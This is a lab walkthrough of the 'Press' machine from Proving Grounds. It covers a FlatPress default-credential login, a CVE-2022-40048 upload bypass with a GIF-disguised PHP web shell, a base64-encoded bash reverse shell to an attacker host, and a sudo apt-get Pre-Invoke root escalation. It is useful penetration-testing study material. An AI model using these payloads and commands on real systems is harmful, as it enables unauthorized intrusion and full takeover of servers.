Skip to content
HackIndex.io

Press Writeup - Proving Grounds

Intermediate Linux
Discuss on Discord

Created October 8, 2026 • Last updated October 8, 2026 • 2 min read

The Husky Hacker

sysadmin

Press runs FlatPress with default admin credentials. The upload feature is vulnerable to CVE-2022-40048, which bypasses the extension filter with a fake GIF header and runs PHP for a www-data shell, and a passwordless sudo rule on apt-get gives root through a GTFOBins trick.

Reconnaissance

Nmap

Scan for open ports only, skipping closed ones.

┌──(kali㉿kali)-[~]
└─$ nmap -Pn --open $TARGET_IP 
PORT     STATE SERVICE
8089/tcp open  http
Explain command
--open Only show open (or possibly open) ports.

Port 8089 serves a FlatPress welcome page, a lightweight blogging engine.

Enumeration

FlatPress is vulnerable to CVE-2022-40048, a remote code execution in the upload feature. The login page accepts common default credentials.

┌──(kali㉿kali)-[~]
└─$ curl -s http://$TARGET_IP:8089/login.php 
<form action="login.php" method="post">
<input name="user" /><input name="pass" type="password" />

Logging in with admin:password succeeds. The admin panel exposes an Uploader that accepts arbitrary files.

Exploitation

FlatPress upload RCE (CVE-2022-40048)

Build a PHP payload disguised as a GIF so the upload filter accepts it.

 GIF89a;
<?php
  system("echo c2ggLWkgPiYgL2Rldi90Y3AvJEFUVEFDS0VSX0lQLyRBVFRBQ0tFUl9QT1JUIDA+JjEK | base64 -d | bash");
?>

The base64 blob decodes to a reverse shell back to the attacker.

┌──(kali㉿kali)-[~]
└─$ echo "sh -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1" | base64 -w 0 
c2ggLWkgPiYgL2Rldi90Y3AvJEFUVEFDS0VSX0lQLyRBVFRBQ0tFUl9QT1JUIDA+JjEK
┌──(kali㉿kali)-[~]
└─$ rlwrap nc -lvnp $ATTACKER_PORT 
listening on [any] $ATTACKER_PORT ...

Upload exploit.php through the uploader, then open it from Media Manager to trigger it.

┌──(kali㉿kali)-[~]
└─$ curl http://$TARGET_IP:8089/fp-content/uploads/exploit.php 
connect to [$ATTACKER_IP] from (UNKNOWN) [$TARGET_IP]
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Shell as www-data. Check sudo rights next.

Privilege Escalation

Sudo apt-get (GTFOBins)

Check what www-data can run with sudo.

┌──(kali㉿kali)-[~]
└─$ sudo -l 
Matching Defaults entries for www-data on debian:
    env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

User www-data may run the following commands on debian:
    (ALL) NOPASSWD: /usr/bin/apt-get
Explain command
-l List the commands the current user may run with sudo.

apt-get can run pre-invoke hooks as part of an update, which GTFOBins lists as a root shell primitive.

┌──(kali㉿kali)-[~]
└─$ sudo /usr/bin/apt-get update -o APT::Update::Pre-Invoke::=/bin/sh 
# id
uid=0(root) gid=0(root) groups=0(root)

The pre-invoke hook runs as root, giving a root shell.

Related

File Upload Exploitation
Blog

File Upload Exploitation

Exploit insecure file upload endpoints to achieve RCE by bypassing extension filters, MIME validatio...
File Upload Validation Testing
Blog

File Upload Validation Testing

Tests server-side file upload controls for bypass vulnerabilities including MIME spoofing, extension...
Sudo Misconfiguration Privilege Escalation
Blog

Sudo Misconfiguration Privilege Escalation

Exploiting misconfigured sudo rules to escalate privileges on Linux systems, covering NOPASSWD entri...

References